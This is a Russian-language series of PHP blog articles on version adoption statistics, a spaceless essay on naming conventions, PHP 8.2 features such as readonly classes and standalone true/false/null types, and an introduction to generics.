Давайте начнем с процента используемых сегодня версий PHP,  и сравним его с предыдущими тремя изданиями, обратите внимание, что я пропустил все версии, которые не используются более чем на 1%: 

Визуализация этих данных выглядит так:

Мы видим приличный рост версий PHP 8.*, и думаю это отличная новость! Также приятно видеть, что использование PHP 8.0 уже сокращается: в конце прошлого года PHP 8.0 перешел в режим только исправлений безопасности, и я надеюсь, что в этом году его использование сократится еще больше. Имейте в виду, что поддержка PHP 8.0 прекратит свое существование 26 ноября 2023 года. Поэтому крайне важно, чтобы ваши проекты начали подготовку к обновлению в ближайшие месяцы.

Версия PHP 7.4 подошла к концу в прошлом году, поэтому в то же время вызывает беспокойство тот факт, что более 25% проектов все еще используют ее! Будем надеяться, что вскоре это число сократится.

Эти данные прекрасно отображают разделение внутри PHP-сообщества: одна часть идет в ногу с современным PHP, а другая остается беспомощно позади. Я знаю, что есть много причин делать это - часто из-за бизнес-требований и ограничений - но очень важно понимать, что из-за этого многие PHP-проекты на самом деле работают в более небезопасных и медленных версиях.

На обзорной диаграмме за все время, вы можете увидеть эволюцию использования версий с течением времени:

Как я уже сказал: снижение версии 7.4 происходит слишком медленно, как по мне. Сравните это с гораздо более резким спадом PHP 5.5 в 2015 году, когда был выпущен PHP 7.0: мне бы хотелось, чтобы то же самое произошло и с PHP 7.4 и чтобы люди уже перешли на PHP 8.0, но, к сожалению, это не так.

Мне кажется, что я повторяюсь каждый год, но я очень надеюсь, что в будущем люди обновят свои проекты ка можно раньше. Мне любопытно узнать, как можно помочь этой части PHP-сообщества. Например, такие инструменты, как Rector, для автоматизации обновлений имеют такой большой потенциал, если бы люди начали их использовать.

Требуемые версии

Затем используя анализатор популярных пакетов Никиты Попова, чтобы загрузить 1000 самых популярных пакетов композитора и использовав небольшой скрипт, чтобы получить их минимальную требуемую версию были получены результаты:

Здесь необходимо сделать два важных замечания.

В этой таблице указана минимальная требуемая версия. Логично, что ни один из 1000 пакетов еще не поддерживает PHP 8.2, так как он вышел совсем недавно.

Если вы посмотрите даты, вы заметите, что между каждым годом есть некоторые различия. Не для каждого пакета указана версия, поэтому не все 1000 пакетов можно проанализировать.

Вместо того, чтобы сравнивать абсолютные числа, лучше нанести эти данные на диаграмму для относительного сравнения, чтобы мы могли видеть изменения с течением времени:

Вы можете видеть небольшое увеличение требований PHP 7.*. Это хорошая эволюция, но все же очень медленная по сравнению с тем, как быстро движется вперед PHP.

На мой взгляд, авторы пакетов должны настаивать на том, чтобы требовались только поддерживаемые версии PHP. Я думаю, что это единственный способ для PHP двигаться вперед с приличной скоростью, а для сообщества - не отставать. Вдобавок ко всему: ежегодные обновления гораздо проще делать, чем, например, оставаться на PHP 7.4 и пытаться сразу перейти на PHP 8.2.

В заключение, если вы что-то почерпнете из этого поста, я надеюсь, что это то что пришло время обновиться как минимум до PHP 8.1, а лучше до PHP 8.2. Это не так сложно, как вы думаете, и определенно стоит вашего времени .

НеНужноНедооцениватьЦенностьЧитабельностиКода

ПрограммистыНеДолжныНедооцениватьЦенностьЧитабельностиКода.СегодняМыПоговоримЕщеРазПроОбщиеПрактики,КоторыеВсеМы,Кажется, ПринимаемЗаДолжное: НаименованиеПеременныхИМетодов.

ВродеТакаяНезначительнаяНаПервыйВзглядВещь,Верно?КакойКейсОбычноИспользуютПрограммистыЧтобыСвязатьСлова:Верблюжий,ЗмеиныйИлиШашлычный(Кебаб), ИВообще, ТакЛиЭтоВажно?

ЧитаемостьюКодаНеСледуетПренебрегать.ЭтоВлияет,КакЛегкоВыМожетеПеремещатьсяИПониматьСвойИлиЧужойКод.

ИтакЯзыкиРаннегоПрограммированияНеИмелиТехЖеСоглашений,КоторыеМыИмеемСегодня.ТакиеЯзыки,КакLispИCOBOL,ПоявилисьДоШирокойПоддержкиASCII. ПрописныеИСтрочныеБуквы,АТакжеСпециальныеСимволы,ТакиеКакПодчеркивание,ПростоНеПподдерживалисьКомпиляторамиЕщеВНачале50-хИ60-хГодов.

ИЛиспИКоболПозволяютДефисамРазделятьСлова.АнализаторLispБылДостаточноУмен,ЧтобыОпределить,БылЛиДефисМеждуДвумяСловами, ИлиЕгоСледуетИспользоватьВКачествеОператораВычитания.ВCOBOLВКачествеОператоровИспользуютсяТолькоПолныеСлова,ИНеИмеетЭтуПроблему. ВотПримерВычитанияВКоболе:

SUBTRACT data-item-1 FROM data-item-2

ПосколькуДефисНеЯвляетсяЗарезервированнымКлючевымСловом,ЕгоМожноИспользоватьДляРазделенияСлов.

КогдаЯзыкиПрограммированияСозрелиВ80-хИ90-хГгодах,СталоЯсно,ЧтоДефисДолженБытьЗарезервированДляМатематическихОпераций.ЕщеОднаПроблемаСУмнымодходомLispЗаключаласьВТом,ЧтоОнНеМасштабировалсяВСовременныхЯзыкахИЗначительноЗамедлялТокенизацию.

Пробелы,Очевидно,НикогдаНеМогутБытьИспользованы,ТакКакПочтиКаждыйЯзыкПрограммированияИспользуетИхВКачествеГраницМеждуТокенами.ТакЧтоЖеОстается?КакМыМожемНаписатьНесколькоСловКакОдно,СохраняяЧитаемостьЭтихСлов?

ИМыПодошлиКТомуПочемуСегодняМыОсталисьСДвумяОсновнымиСсоглашениями:CamelCase,ЛибоСоСтрочнойБуквыЛибоСЗаглавнойИSnakeCase.КстатиЗаглавныйРегистрCamelCaseТакжеНазываетсяPascalCase.

ПоБольшейЧастиВКаждомЯзыкеИмеетМестоБытьОдинИзЭтихВариантов.МожноСказатьЧтоЭтоПростоВопросПринциповСообществ(ПриветПайтонистам),ИПокончитьСЭтим.

НоПоднимаяТемуЧитабельностиКодаНеСложноЗаметитьЧтоCamelCaseДелаетТекстБолееТруднымДляЧтенияПоСравнениюСSnakeCase.

ЕслиСравнитьДваНижеСледующихВариантаНаписанияПеременной:

userId
user_id

ВашМозгУжеПодсказываетВамЧтоЕмуЛегчеПрочесть,Верно? :)

ИЭтоДействительноТак:CamelCaseБолееКомпактен:ВамНеНужноПисатьБольше.НоЭтоНеТотСтильКоторыйБлижеВсегоКТому,КакЧеловеческийМозгНаСамомДелеЧитаетТекст.

ЭтоСущественныйАргумент,КоторыйИмеетЗначениеВДискуссии:КакСделатьТакЧтобыНашемуМозгуБылоКакМожноПрощеЧитатьИПониматьКод.

ЧитаемыйКодСнижаетКогнитивнуюНагрузку.МеньшаяКогнитивнаяНагрузкаОзначаетБольшеПамятиДляЛюдейЧтобыДуматьОДругихВещах,ТакихКакНаписаниеБизнесЛогики.

"ИВесьПостТолькоОПользеПодчеркивания?" КонечноНет,НеТолькоИз-заЭтого. НаписаниеЧитаемогоКодаНамногоБольше, ЧемСоглашенияОбИименовании. НоТакиеМелочиПомогаютПолучитьБолееЛучшееРешение.

PHP 8.2 выпущен 8 декабря 2022 года. В этом посте мы рассмотрим все функции, улучшения производительности, изменения и устаревший функционал

null и false как самостоятельные типы rfc

Не вдаваясь в тему безопасности типов, технически null и false, сами по себе могут считаться допустимыми типами. Типичными примерами являются встроенные функции PHP, где false используется в качестве возвращаемого типа при возникновении ошибки. Например в file_get_contents:

file_get_contents(/* … */): string|false

Обратите внимание, что использование false в типе объединения уже было ранее возможным, но в PHP 8.2 теперь его можно использовать и как самостоятельный отдельный тип false:

function alwaysFalse(): false
{
    return false;
}

Что интересно данный RFC не поддерживает true как отдельный тип, да и разве типы не должны представлять в целом категории вместо отдельных значений? Оказывается, в системах типов существует концепция, называемая единичным типом, то есть тип, допускающий только одно значение. Но действительно ли это полезно и поощряет ли это чистый дизайн приложения? Может быть, а может и нет.

Автономный null тип имеет немного больше смысла: null может рассматриваться как категория сама по себе, а не просто значение внутри категории. Представьте себе шаблон нулевого объекта: 

class Post 
{
    public function getAuthor(): ?string { /* … */ }
}

class NullPost extends Post
{
    public function getAuthor(): null { /* … */ }
}

NullPost::getAuthor() всегда будет возвращать только null, а не null или string, что раньше было невозможно.

true как самостоятельный тип rfc

Как и предыдущий RFC с возможностью задавать null и false как самостоятельные типы, PHP 8.2 позволяет использовать true как отдельный тип и как часть Union Type. 

class Foo {

    private true $processed;

    public function process(string|int|true $value): true {
    }
}

 Конечно же, есть некоторые ограничения, например нельзя использовать  true тип в сочетании с типом bool, потому что тип bool уже включает в себя true. Попытка объявить объединенные типы с bool приводит к фатальной ошибке:

function foo(true|bool $value) {}

Fatal error: Duplicate type true is redundant in ... on line ...

Или поскольку тип bool по сути такой же, как true|false, использование true|false в качестве типа объединения не допускается:

function foo(true|false $value) {}

Fatal error: Type contains both true and false, bool should be used instead in ... on line ...

Классы только для чтения rfc

Свойства только для чтения были введены в PHP 8.1 . Этот RFC основан на них и добавляет синтаксический сахар, чтобы сразу сделать все свойства класса доступными только для чтения. Вместо того, чтобы писать:

class Post
{
    public function __construct(
        public readonly string $title, 
        public readonly Author $author,
        public readonly string $body,
        public readonly DateTime $publishedAt,
    ) {}
}

Можно написать так:

readonly class Post
{
    public function __construct(
        public string $title, 
        public Author $author,
        public string $body,
        public DateTime $publishedAt,
    ) {}
}

По сути, функционально сделать класс доступным только для чтения - это то же самое, что сделать каждое свойство доступным только для чтения; но это также предотвратит добавление динамических свойств в класс:

$post = new Post(/* … */);

$post->unknown = 'wrong';

Uncaught Error: Cannot create dynamic property Post::$unknown

Новое расширение Random rfc

PHP 8.2 добавляет новый генератор случайных чисел, который устраняет множество предыдущих проблем: он более производительный, более безопасный, его легче поддерживать и он не зависит от глобального состояния; была произведена работы над устранением ряда трудно обнаруживаемых ошибок при использовании случайных функций PHP.

Есть новый класс с именем Randomizer, который принимает механизм рандомизатора. Теперь вы можете изменить работу движка, в зависимости от ваших потребностей. Например, чтобы различать "боевую" среду и среду тестирования:

$rng = $is_production
    ? new Random\Engine\Secure()
    : new Random\Engine\PCG64(1234);
 
$randomizer = new Random\Randomizer($rng);
$randomizer->shuffleString('foobar');

Типы дизъюнктивных нормальных форм rfc

Типы DNF позволяют нам комбинировать типы объединения и пересечения, следуя строгому правилу: при объединении типов объединения и пересечения типы пересечения должны быть сгруппированы скобками. На практике это выглядит так:

function generateSlug((HasTitle&HasId)|null $post) 
{
    if ($post === null) {
        return '';
    }

    return 
        strtolower($post->getTitle()) 
        . $post->getId();
}

В данном случае это тип дизъюнктивных нормальных форм  - (HasTitle&HasId) | null . 

Это приятное дополнение, тем более что оно означает, что теперь у нас могут быть типы пересечений, допускающие значение null, что, вероятно, является наиболее важным вариантом использования этой функции.

Константы в трейтах rfc

Теперь вы можете использовать константы в трейтах:

trait Foo {
    public const FLAG_1 = 1;
    protected const FLAG_2 = 2;
    private const FLAG_3 = 2;
 
    public function doFoo(int $flags): void {
        if ($flags & self::FLAG_1) {
            echo 'Got flag 1';
        }
        if ($flags & self::FLAG_2) {
            echo 'Got flag 2';
        }
        if ($flags & self::FLAG_3) {
            echo 'Got flag 3';
        }
    }
}

Вы не сможете получить доступ к константе через имя трейта ни снаружи, ни внутри трейта, однако вы можете получить доступ к константе через класс, который использует трейт, учитывая, что он общедоступен:

trait T {
    public const CONSTANT = 42;
 
    public function doSomething(): void {
        // Fatal Error
        echo T::CONSTANT;
 
        // OK
        echo self::CONSTANT;
        echo static::CONSTANT;
        echo $this::CONSTANT;
    }
}
 
class Base {
    use Foo;
}
 
class Child extends Base {
    public function doSomething(): void {
        // OK
        echo parent::CONSTANT;
    }
}
 
// OK
echo Base::CONSTANT;
echo Child::CONSTANT;
echo (new Base)::CONSTANT;
$child = new Child;
echo $child::CONSTANT;
 
// Fatal Error
echo T::CONSTANT;

Получение свойств перечислений в константных выражениях rfc

В этом RFC предлагается разрешить использование ->/ ?-> для извлечения свойств перечислений в константных выражениях. Основная причина этого изменения - позволить извлекать свойства имени и значения в местах, где объекты перечисления не разрешены, например, в ключах массива.

Это означает, что следующий код теперь действителен:

enum A: string 
{
    case B = 'B';
    
    const C = [self::B->value => self::B];
}

Устаревшие динамические свойства rfc

Динамические свойства устарели в PHP 8.2 и будут выдавать ошибку ErrorException в PHP 9.0. Если вы не знаете, что такое динамические свойства, то это свойства, которые не присутствуют в объекте, но тем не менее присваиваются или запрашиваются:

class Post
{
    public string $header;
}

// …

$post->title = 'Заголовок';

Имейте в виду, что классы реализующие __get и __set будут работать по назначению: 

class Post
{
    private array $properties = [];
    
    public function __set(string $title, mixed $value): void
    {
        $this->properties[$title] = $value;
    }
}

То же самое касается объектов stdClass, они будут поддерживать динамические свойства.

Если вам не нужны эти предупреждения при обновлении до PHP 8.2, вы можете сделать пару вещей.

Вы можете использовать атрибут для классов, которые должны разрешать эти свойства: #[AllowDynamicProperties]

#[AllowDynamicProperties]
class Post
{
    public string $header;
}

// …

$post->title = 'Заголовок'; //Все пройдет нормально

Другой вариант — просто отключить предупреждения об устаревших функциях. Я бы не рекомендовал этого делать, так как у вас будут проблемы с PHP 9.0, но вот как вы все равно можете отключить предупреждения об устаревании в PHP: 

error_reporting(E_ALL ^ E_DEPRECATED);

Редактирование параметров в бэк трейсах rfc

Обычной практикой в ​​любой кодовой базе является отправка производственных ошибок в службу, которая их отслеживает и уведомляет разработчиков, когда что-то пойдет не так. Эта практика часто включает отправку трассировки стека по сети в стороннюю службу. Однако бывают случаи, когда эти трассировки стека могут включать конфиденциальную информацию, такую ​​как переменные среды, пароли или имена пользователей.

PHP 8.2 позволяет вам помечать такие «конфиденциальные параметры» атрибутом, так что вам не нужно беспокоиться о том, что они будут перечислены в вашей трассировке стека, когда что-то пойдет не так. Вот пример из RFC:

function test(
    $foo,
    #[SensitiveParameter] $bar,
    $baz
) {
    throw new Exception('Error');
}
 
test('foo', 'bar', 'baz');

Fatal error: Uncaught Exception: Error in test.php:8
Stack trace:
#0 test.php(11): test('foo', Object(SensitiveParameterValue), 'baz')
#1 {main}
  thrown in test.php on line 8

Изменения типа возвращаемого значения для DateTime::createFromImmutable() и DateTimeImmutable::createFromMutable()

Раньше эти методы выглядели так:

DateTime::createFromImmutable(): DateTime
DateTimeImmutable::createFromMutable(): DateTimeImmutable

В PHP 8.2 эти сигнатуры методов изменены следующим образом:

DateTime::createFromImmutable(): static
DateTimeImmutable::createFromMutable(): static

 Это изменение имеет гораздо больше смысла, поскольку оно улучшает возможности статического понимания для классов, расширяющихся от DateTime и DateTimeImmutable. Однако технически это критическое изменение, которое может повлиять на пользовательские реализации, расширяющие любой из этих двух классов. 

str_split возвращает пустые массивы для пустых строк rfc

До PHP 8.2 функция str_split неправильно возвращала массив, содержащий пустую строку (""): 

str_split('') === [""];

Начиная с PHP 8.2, вызов str_split для пустой строки возвращает пустой массив: 

str_split('') === [];

ksort(..., SORT_REGULAR) изменения порядка сортировки

До версии PHP 8.2 ksort буквенные ключи помещались перед числовыми:

$array = ["a" => '', "1" => '', "b" => '', "2" => ''];
ksort($array, SORT_REGULAR);  
var_dump($array);

 ["a" => '', "b" => '', "1" => '', , "2" => ''];

 Теперь результат будет:

 ["1" => '', "2" => '', "a" => '', , "b" => ''];

Устаревание utf8_encode() и utf8_decode() rfc

В PHP 8.2 использование любой функции из utf8_encode() или utf8_decode() вызовет следующие уведомления об устаревании:

Deprecated: Function utf8_encode() is deprecated
Deprecated: Function utf8_decode() is deprecated

RFC утверждает, что эти функции имеют неточное имя, которое часто вызывает путаницу: эти функции преобразуют только ISO-8859-1 и UTF-8, в то время как имя функции предполагает более широкое использование. В RFC есть более подробное объяснение рассуждений.

Альтернатива? RFC предлагает использовать mb_convert_encoding().

Устаревшие частично поддерживаемые вызываемые объекты rfc  

Еще одно изменение, хотя и с немного меньшим влиянием, заключается в том, что частично поддерживаемые вызываемые объекты теперь также устарели. Частично поддерживаемые вызываемые объекты — это вызываемые объекты, которые можно вызывать с помощью call_user_func($callable), но не напрямую $callable(). Между прочим, список этих видов коллбеков довольно короткий:

"self::method"
"parent::method"
"static::method"
["self", "method"]
["parent", "method"]
["static", "method"]
["Foo", "Bar::method"]
[new Foo, "Bar::method"]

Причина для этого - шаг в правильном направлении к возможности использования типизированных свойств callable. Никита очень хорошо объясняет это в RFC:

Все эти вызываемые объекты зависят от контекста. Метод, на который ссылается «self::method», зависит от того, из какого класса выполняется вызов или проверка возможности вызова. На практике это обычно справедливо и для последних двух случаев, когда используется [new Foo, "parent::method"].
Уменьшение зависимости вызываемых объектов от контекста является вторичной целью этого RFC. После этого RFC единственная оставшаяся зависимость от области видимости — это видимость метода: «Foo::bar» может быть виден в одной области видимости, но не в другой. Если бы в будущем вызываемые объекты были ограничены public методами (в то время как private методы должны были бы использовать вызываемые объекты первого класса или Closure::fromCallable(), чтобы сделать их независимыми от области видимости), то вызываемый тип стал бы четко определенным и мог бы использоваться как тип свойства. Однако изменения в обработке видимости не предлагаются как часть этого RFC. 

Нечувствительный к локали strtolower() и strtoupper() rfc

И strtolower() и strtoupper() больше не зависят от региональных настроек. Вы можете использовать mb_strtolower(), если хотите локализованное преобразование регистра.

Изменения подписи для нескольких методов SPL

Несколько методов классов SPL были изменены, чтобы должным образом обеспечить их правильную сигнатуру типа:

SplFileInfo::_bad_state_ex()
SplFileObject::getCsvControl()
SplFileObject::fflush()
SplFileObject::ftell()
SplFileObject::fgetc()
SplFileObject::fpassthru()
SplFileObject::hasChildren()
SplFileObject::getChildren()

Новый модификатор "n" в PCRE

Теперь вы можете использовать n модификатор (NO_AUTO_CAPTURE) в pcre* функциях.

Экранирование имени пользователя и пароля ODBC

Расширение ODBC теперь экранирует имя пользователя и пароль для случая, когда передаются и строка подключения, и имя пользователя/пароль и строку необходимо дополнить.

То же самое относится к PDO_ODBC

Устаревшая ${} интерполяция строк rfc

В PHP есть несколько способов встраивания переменных в строки. Этот RFC осуждает два способа сделать это, поскольку они редко используются и часто приводят к путанице:

"Hello ${world}";

Deprecated: Using ${} in strings is deprecated

"Hello ${(world)}";

Deprecated: Using ${} (variable variables) in strings is deprecated

Для ясности: два популярных способа интерполяции строк все еще работают:

"Hello {$world}";
"Hello $world";

Удаленные функции  

MySQLi больше не может быть скомпилирован с libmysqli

Исторически PHP поддерживал две библиотеки для подключения баз данных MySQL: mysqlnd и  libmysql. Эти библиотеки предоставляли базовые функции для подключения, запроса, поиска и обработки данных. Начиная с PHP 5.4, mysqlnd - это библиотека по умолчанию, но можно было компилировать mysqli и pdo_mysql расширения с libmysql с помощью флага конфигурации компиляции.

Начиная с PHP 8.2 и более поздних версий, компиляция mysqli расширения с помощью libmysql больше не поддерживается.

true, false и null как самостоятельные типы

Еще в PHP 8.0 была добавлена ​​поддержка Union Types, что позволило объявить тип как объединение двух или более типов. Он разрешал false, true и null, как один из возможных типов для объединенных типов, но запрещал их использование в качестве самостоятельных типов.

До версии PHP 8.2 можно было использовать null и только false только как части Union Types:

function foo(): string|null {}
function strpos(): int|false {}

Попытка использовать null, false, true типы как самостоятельные типы (т.е. не являющиеся частью объединенных типов) приводила к фатальной ошибке компиляции в версиях PHP PHP 8.0 и PHP 8.1:

Fatal error: Null can not be used as a standalone type in ... on line ...
Fatal error: False can not be used as a standalone type in ... on line ...

И приходилось использовать PhpDoc для предоставления более точной информации о возвращаемом типе:

class User extends Model 
{
     /**
      * @return false
      */
     public function isAdmin(): bool 
     {
         return false;
     }
}

Начиная с PHP 8.2 можно писать так и не будет ошибок:

class User extends Model 
{
     public function isAdmin(): false 
     {
         return false;
     }
}

 false, true, null можно использовать как самостоятельный тип везде, где PHP принимает тип:

class Foo {

    private true $processed;
    
    private false $focused;

    public function process(string|int|true $value): true {}

    public function focus(int|false $value): false {}

}

Это делает систему типов PHP более выразительной и полной, чтобы иметь возможность точнее объявлять типы возврата, аргумента и свойства.

Различие между void и null

Обратите внимание, что функции, объявленные с возвращаемым типом null, должны явно возвращать return null, иначе вызов функции приведет к исключению TypeError. Функции, которые не возвращают значение явно, либо из-за отсутствия оператора return, либо из-за отсутствия возвращаемого значения (return;), могут продолжать использовать тип void в качестве возвращаемого типа.

В следующем примере выдастся исключение TypeError, так как он должен был быть объявлен с void типом, а не null возвращаемым типом.

function foo(): null {}

foo();

TypeError: foo(): Return value must be of type null, none returned in ...:...

Если возвращаемый тип не является null, то объявление функции с возвращаемым типом void или never является более подходящим подходом.

Обнуляемость в null типе

Если тип объявлен null, он не может быть помечен как «nullable» с помощью синтаксиса ?null, так как это приводит к избыточному объявлению типа. PHP выдает ошибку во время компиляции:

function doNotMakeSense(): ?null {}

Fatal error: null cannot be marked as nullable in ... on line ...

true тип не принуждает

Когда аргумент, свойство или возвращаемый тип объявлены как true, PHP не преобразует принудительно любой другой тип в true. Это имеет место быть, даже если в коде отключены строгие типы (strict_types) и даже для значений, которые в противном случае принудительно выполняются, как true в нестрогих сравнениях.

Например, следующий вызов функции не приводит целочисленное значение 1 к true, и в результате получается TypeError:

function foo(true $value) {}

foo(1);

TypeError: foo(): Argument #1 ($value) must be of type true, int given, called in ... on line ... and defined in ...:...

Использование true в объединенных типах

true тип может использоваться как часть Union Types, если true тип не является избыточным, или использоваться вместе с типом false.

Ниже приведен пример объявления типа объединения, в котором используется true тип:

function sendEmail(true|string): true {
    return true;
}

sendEmail(true);

Тип PHP bool по сути является объединенным типом true|false. Однако во избежание двусмысленности применяются два из следующих ограничений.

Проверка избыточности с bool типом

true тип нельзя использовать в сочетании с bool типом, потому что bool тип уже включает в себя true тип. Попытка объявить тип объединения bool приводит к фатальной ошибке компиляции:

function foo(true|bool $value) {}

Fatal error: Duplicate type true is redundant in ... on line ...

Не допускается союз true|false

Поскольку bool тип по сути такой же, как true|false, использование true|false в качестве типа объединения не допускается:

function foo(true|false $value) {}

Fatal error: Type contains both true and false, bool should be used instead in ... on line ...

Использование true в типах пересечений 

true тип вообще нельзя использовать в типах пересечений . Тип пересечения с true типом приводит к ошибке компиляции:

function foo(true&false $value) {}

Fatal error: Type true cannot be part of an intersection type in ... on line ...

true тип в ковариантности и контравариантности 

Тип true считается подтипом bool типа, и PHP также следует стандартным правилам ковариантности и контравариантности по отношению к true типу.

Пример ковариации bool, в котором возвращаемый тип заменяется true типом, а тип объединения сужается в подклассе.

class Foo {
    public function test(): bool {}
    public function test2(): string|true {}
}

class FooBar extends Foo {
    public function test(): false {}
    public function test2(): true {}
}

Пример контравариантности true, когда типизированный параметр в test() расширяется до bool типа, а тип объединения в test2() расширяется:

class Foo {
    public function test(true $value): void {}
    public function test2(true|string $value): void {}
}

class FooBar extends Foo {
    public function test(bool $value): void {}
    public function test2(true|string|int $value): void {}
}

Влияние обратной совместимости

До PHP 8.2 нельзя было использовать true, false и null как отдельные типы. PHP 8.2 и более поздние версии позволяют использовать их как самостоятельные типы, приложения с PHP ниже версии PHP 8.2, которым необходимо объявлять true, false и null типы, могут использовать комментарии PHPDoc для дополнительной точности и прибегать к использованию bool типа для совместимости со старыми версиями PHP:

/**
 * @param true $value
 * @return false
 */
function foo(bool $value): bool {}

PHP 8.2 добавляет новый способ объявления классов: вы можете сделать их доступными только для чтения

На практике это означает, что все свойства этого класса будут доступны только для чтения. Это особенно полезно при использовании DTO или объектов-значений (Value Object), когда класс имеет только общедоступные свойства для чтения .

Другими словами, вместо того, чтобы писать это:

class ItemDTO
{
    public function __construct(
        public readonly string $title,
        public readonly Status $status,
        public readonly ?DateTimeImmutable $published_at = null,
    ) {}
}

Теперь вы можете написать это:

readonly class ItemDTO
{
    public function __construct(
        public string $title,
        public Status $status,
        public ?DateTimeImmutable $published_at = null,
    ) {}
}

Я уже ранее писал о свойствах только для чтения в PHP 8.1, поэтому давайте сначала быстро вспомним их:

• свойства readonly могут быть записаны только один раз - обычно в конструкторе;
  
• только типизированные свойства могут быть сделаны readonly;
• они не могут иметь значения по умолчанию (если только вы не используете объявление свойства в конструкторе);
• флаг readonly нельзя изменить при наследовании;
• вы не можете отменить свойства только для чтения.

Также readonly могут быть объявлены абстрактные и финальные классы. Порядок ключевых слов не имеет значения:

abstract readonly class ItemDTO { /* ...  */ }
final readonly class ItemDTO { /* ...  */ }

Можно объявить readonly класс без каких-либо свойств,  позволяя дочерним классам явно объявлять свои readonly свойства. Как и в случае со всеми ключевыми словами PHP, ключевое слово readonly нечувствительно к регистру.   

Поскольку readonly классы являются просто синтаксическим сахаром для того, чтобы сделать все свойства этого класса readonly, это означает, что те же правила применяются и к классам readonly.

Перечисления, Трейты, Интерфейсы как только для чтения 

Enum вообще не могут содержать свойства, и их нельзя объявлять как классы только для чтения. Traits не могут быть объявлены readonly. Интерфейсы не могут быть объявлены readonly.

Попытка объявить enum, трейты или интерфейсы как  readonly приводит к ошибке Parse:

readonly interface SomethingClass {}

Parse error: syntax error, unexpected token "interface", expecting "abstract" or "final" or "readonly" or "class" in ... on line ...

Написать один раз

Все свойства класса только для чтения могут быть записаны только один раз и не могут быть отменены:

readonly class ItemDTO { /* … */ }

$itemDTO = new ItemDTO(/* … */);

$itemDTO->title = 'что-то другое'; //ошибка

unset($itemDTO->title);  //ошибка

Только типизированные свойства

Класс только для чтения может иметь только типизированные свойства, для свойств, которые не могут быть строго типизированы, рассмотрите возможность использования типа mixed:

readonly class ItemDTO
{
    public string $title;
    
    public $mixed;  //ошибка Fatal error: Readonly property Test::$test must have type in ... on line ...

    public mixed $mixed;  //правильно
}

Нет статических свойств

Поскольку свойства только для чтения не могут быть статическими, классы только для чтения тоже не могут иметь никаких статических свойств:

readonly class ItemDTO
{
    public static string $title;  //ошибка
}

Нет значений по умолчанию

Свойства класса только для чтения не могут иметь значения по умолчанию, только если вы не используете объявление свойства в конструкторе:

readonly class ItemDTO
{
    public string $title = 'default';  //ошибка
}

А вот так вот будет нормально:

readonly class ItemDTO
{
    public function __construct(
        public string $title = 'default', 
   ) {}
}

Никаких изменений при наследовании 

Вы не можете изменить readonly флаг класса во время наследования:

readonly class ItemDTO { /* … */ }

class ItemDTO extends ItemDTO { /* … */ } //ошибка Fatal error: Non-readonly class ItemDTO cannot extend readonly class ItemDTO in ... on line ...

Нет динамических свойств

Классы только для чтения также не допускают динамических свойств. Это не окажет большого влияния, поскольку динамические свойства в любом случае устарели в PHP 8.2, но так же это означает, что вы не можете добавить атрибут #[AllowDynamicProperties] в классы только для чтения: 

#[AllowDynamicProperties] //ошибка Fatal error: Cannot apply #[AllowDynamicProperties] to readonly class ItemDTO in ... on line ...
readonly class ItemDTO { /* … */ }

Рефлексия 

Появились новые методы Reflection, чтобы определить, является ли класс доступным только для чтения или назначит флаг readonly самому:

• ReflectionClass::isReadOnly()
• ReflectionClass::getModifiers() - битовая маска, которая показывает наличие readonly флага
• ReflectionClass::IS_READONLY - назначить флаг readonly.

Отказ от статуса только для чтения

После того как класс объявлен readonly, отказаться от этого невозможно. Это относится и к подклассам, потому что подклассы также должны быть явно объявлены readonly.

Изменчивость

Обратите внимание, что readonly классы не обеспечивают полной иммутабельности (неизменности). Хотя readonly классы идеально подходят для объектов-значений, которые гарантируют, что их данные не изменятся, объекты, хранящиеся в readonly свойстве, могут измениться. Это то же самое поведение, что и у readonly свойств.

Влияние обратной совместимости

Синтаксис readonly класса является новым в PHP 8.2, и объявленные классы readonly приводят к ошибке Parse в более старых версиях PHP.

В качестве временной меры для readonly классов рассмотрите возможность объявления всех свойств как readonly, что поддерживается, начиная с PHP 8.1.

Поговорим о дженериках в PHP, целесообразность и сложность их внедрения в существующее ядро языка

Дженерики в PHP. Многие разработчики желают иметь их в инструментарии PHP. С другой стороны, есть PHP-программисты, которые, возможно, не знают, что такое дженерики и почему их это должно волновать. Многие языки программирования имеют поддержку дженериков:  Java имеет дженерики, C# имеет свой аналог - обобщения, уже и в Golang 1.18 завезли дженерики. Почему ж PHP не поддерживает дженерики и возможно ли это в будущем?

Основы

В каждом языке программирования есть какая-то система типов. Некоторые языки имеют очень строгую реализацию, в то время как другие - PHP относится к этой категории - гораздо более снисходительны в этом плане.

Системы типов используются по целому ряду причин, наиболее очевидным из них является проверка типа. Давайте представим, что у нас есть функция, которая принимает два целых числа; и выполняет над ними какую-то математическую операцию:

function sum($a, $b) 
{
    return $a + $b;
}

PHP с радостью позволит вам передать в эту функцию любые данные: числа, строки, логические значения - это не имеет значения. PHP сделает все возможное, чтобы преобразовать переменную всякий раз, когда это имеет смысл, например, сложив их вместе. 

sum('1', '2');

Но эти преобразования - жонглирование типами - часто приводят к неожиданным результатам, если не сказать что к ошибкам и сбоям. 

sum([], true);  //Что произойдет?

Теперь мы можем вручную написать код, чтобы проверить, будет ли наше математическое дополнение работать с любыми заданными данными:

function sum($a, $b) 
{
    if (!is_int($a) || !is_int($b)) {
        return null;
    }
    
    return $a + $b;
}

Или мы могли бы использовать встроенные в PHP подсказки типов (type hints) - встроенные сокращения того, что мы в противном случае сделали бы вручную:  

function sum(int $a, int $b): int 
{
    return $a + $b;
}

Многие разработчики в PHP-сообществе говорят, что им все равно на эти подсказки типов, потому что они знают, что должны передавать в эту функцию только целые числа - в конце концов это же они ее написали.

Однако такого рода рассуждения являются заблуждением: вы часто не единственный кто работает с этой кодовой базой, вы также используете код, который не написали сами - подумайте о том, сколько пакетов вы загружаете с помощью composer. Итак, хотя этот пример сам по себе может показаться не таким уж важным, проверка типов действительно пригодится, когда ваша кодовая база начнет расти.

Кроме того, добавление подсказок типа не только защищает от недопустимого состояния, но и разъясняет, какие входные данные ожидаются от программистов. Типы часто делают так, что вам не нужно читать внешнюю документацию, потому что многое из того, что делает функция, уже заключено определением ее типа.

IDE широко используют этот принцип: они могут сообщить программисту, какие входные данные ожидаются от функции или какие поля и методы доступны для объекта, который принадлежит классу. IDE помогают делать написание кода намного более продуктивным, в значительной степени потому, что они могут статически анализировать подсказки типов в нашей кодовой базе.

Ну и куда без статического анализа - программы, IDE или другие виды «статических анализаторов» могут посмотреть на наш код и, не запуская его, сказать нам, будет он работать или нет - по крайней мере, в какой-то степени. Если мы передаем нашей функции строку, которая принимает целое число, наша IDE сообщит нам, что мы делаем что-то неправильно - что-то, что может привести к сбою приложения во время выполнения; но наша IDE может сообщить нам об этом без фактического запуска кода.

